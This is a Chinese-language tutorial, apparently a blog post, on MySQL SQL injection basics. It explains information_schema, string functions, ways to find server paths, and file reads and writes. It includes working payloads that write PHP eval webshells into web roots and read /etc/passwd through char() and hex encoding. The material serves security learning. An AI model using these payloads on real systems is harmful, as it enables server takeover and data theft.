sql注入基础知识储备

information_schema:

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式

什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

数据库中的符号"." 代表下一级 例如 xiaodi.user表示数据库xiaodi下的user表名

information_schema.tables   记录所有表名信息的表

information_schema.columns  记录所有列名信息的表

table_name   表名

column_name  列名

数据库注入常用函数:

1.字符串连接函数:

concat() 将多个字符串连接成一个字符串 如有任何一个参数为NULL ,则返回值为 NULL。或许有一个或多个参数。 如果所有参数均为非二进制字符串,则结果为非二进制字符串。 如果自变量中含有任一二进制字符串,则结果为一个二进制字符串。一个数字参数被转化为与之相等的二进制字符串格式;

concat_ws() CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。 第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。

group_concat() group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )查询结果默认长度1024字节

2.字符截取函数

substring(string,position,length)

  • string参数是要提取子字符串的字符串。
  • position参数是一个整数,用于指定子串的起始字符,position可以是正或负整数 从1开始
  • length 截取长度

mid()

left( Str, index)

  • Str–表示待截取的字符串
  • index–表示从左边开始共截取多少位

right( Str, index)

  • 用法和 LEFT( ) 函数类似,只不过是从右边开始截取 index 位
  • 如果我们想要截取中间的某几位,我们可以使用 LEFT( ) 和 RIGHT( ) 的组合
MySQL注入之文件读写操作

文件路径获取方法:

  • 报错显示: 一般网站出现错误的时候它会泄露出路径 即报错注入 输入一些 代码使网站访问报错

  • 遗留文件 :站长为了调试信息的时候遗留的文件而泄露的路径。用扫描工具可以扫出 例如phpinfo

  • 漏洞报错 : 知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径

  • 平台配置文件 :通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径

  • 爆破

报错注入的原理

MYSql内置函数:

在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个

  • into dumpfile()
  • into outfile()
  • load_file()
load_file函数
union select 1,load_file(“c:/inetpub/wwwroot/index.php”),3

into outfile函数
union select 1,"<?php @eval($_GET[x]);?>",3,4,5 into outfile 'C:/Inetpub/wwwroot/cc.php'

into dumpfile 函数 
http://10.1.8.8/sql1/Less-1/?id=-1′ union select 1,”<?php eval($_POST[‘m’]);?>”,3   into dumpfile “C:\\phpStudy\\WWW\\ceshi2.php” –+  

load _file()函数
1、必须有权限读取并且文件必须完全可读
2、欲读取文件必须在服务器上
3、必须指定文件完整的路径
4、欲读取文件必须小于max_allowed_packet
secure_file_priv的值为NULL时,表示限制mysqld 不允许导入|导出
secure_file_priv的值为空时,表示不对mysqld的导入|导出做限制
如果存在以上条件,还可以注入,那么就可以用load_file()读文件
对于magic_quotes_gpc=on的时候,会过滤引号
可以通过char,16进制等方式来绕过
例如:
·union select 1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100))–+
·union select 1,2,load_file(0x2f6574632f706173737764)–+

函数集合在这里插入图片描述

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值